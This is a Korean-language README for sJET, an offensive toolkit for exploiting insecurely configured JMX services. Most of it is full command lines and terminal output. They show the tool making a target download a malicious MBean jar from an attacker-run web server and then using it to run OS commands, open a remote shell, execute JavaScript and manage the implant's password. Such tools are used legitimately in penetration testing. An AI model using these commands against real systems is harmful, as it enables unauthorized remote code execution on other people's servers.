siberas의 sJET

siberas JMX 익스플로잇 툴킷

sJET는 안전하지 않게 구성된 JMX 서비스를 쉽게 익스플로잇할 수 있게 해줍니다. 추가 배경 정보는 여기와 여기에서 확인할 수 있습니다.

전제 조건

Jython 2.7

사용법

SJET는 CLI 인터페이스를 구현합니다 (argparse 사용).

jython sjet.py targetHost targetPort password MODE (modeOptions)

여기서

targetHost - 대상 IP 주소
targerPort - JMX가 실행 중인 대상 포트
password - 설치 중 설정된 비밀번호
MODE - 스크립트 모드
modeOptions - 선택한 모드의 옵션

모드 및 modeOptions

install - 현재 대상에 페이로드를 설치합니다
- payload_url - 페이로드를 로드할 전체 URL
- payload_port - 페이로드를 로드할 포트
uninstall - 현재 대상에서 페이로드를 제거합니다
password - 이미 배포된 페이로드의 비밀번호를 변경합니다
- password - 새 비밀번호
command - targetHost에서 CMD 명령을 실행합니다
- CMD - 실행할 명령
shell - targetHost에서 간단한 셸을 시작합니다 (Java의 Runtime.exec() 제한 사항 포함)
javascript - targetHost에서 자바스크립트 파일 FILENAME을 실행합니다
- FILENAME - 실행할 자바스크립트

예제

취약한 JMX 서비스에 페이로드 MBean 설치

다음 예제에서 취약한 JMX 서비스는 192.168.11.136:9991에서 실행 중이며, 공격자는 IP 주소 192.168.11.132를 가지고 있습니다. JMX 서비스는 공격자의 웹 서비스에 연결하여 페이로드 jar 파일을 다운로드합니다. sJET는 포트 8000에서 필요한 웹 서비스를 시작합니다. MBean이 성공적으로 설치된 후, 기본 비밀번호는 명령줄에서 제공된 비밀번호("super_secret")로 변경됩니다.

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

h0ng10@rocksteady:~/sjet$

Linux 대상에서 'ls -la' 명령 실행:

페이로드가 설치된 후, 이를 사용하여 대상에서 OS 명령을 실행할 수 있습니다.

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x  4 root    root    4096 Aug 22 16:12 .
drwxr-xr-x 66 root    root    4096 Aug 22 16:12 ..
lrwxrwxrwx  1 root    root      12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx  1 root    root      17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x  3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx  1 root    root      19 Mär 29 01:46 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady:~/sjet$

대상에서 셸 모드로 ping 실행

매 명령마다 Java를 로드하고 싶지 않다면, "셸 모드"를 사용하여 제한된 명령 셸을 얻을 수 있습니다.

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3 127.0.0.1
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms


>>> exit_shell
[+] Done
h0ng10@rocksteady:~/sjet$

대상에서 JavaScript 페이로드 호출:

예제 스크립트 "javaproperties.js"는 취약한 서비스의 Java 속성을 표시합니다. 다음과 같이 호출할 수 있습니다:

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.java.launcher=SUN_STANDARD
catalina.base=/var/lib/tomcat8
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Linux
...
java.vm.name=OpenJDK 64-Bit Server VM
file.encoding=UTF-8
java.specification.version=1.8


h0ng10@rocksteady:~/sjet$

비밀번호 변경

기존 비밀번호("super_secret")를 "this-is-the-new-password"로 변경합니다:

h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret password this-is-the-new-password
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132  6
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password

[+] Done
h0ng10@rocksteady:~/sjet$

대상에서 페이로드 MBean 제거

대상에서 페이로드 'Siberas'를 제거합니다:

minmaxer@prellermbp:~/sjet$ jython sjet.py 192.168.1.101 9010 super_secret uninstall
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.1.101:9010/jmxrmi
[+] Connected: rmi://192.168.1.1  16
[+] MBean correctly uninstalled
minmaxer@prellermbp:~/sjet$

기여하기

자유롭게 기여해 주세요.

저자

Hans-Martin Münch - 초기 아이디어 및 작업 - h0ng10
Patricio Reller - CLI 및 추가 옵션 - preller

이 프로젝트에 참여한 기여자 목록도 확인하세요.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

sjet

인기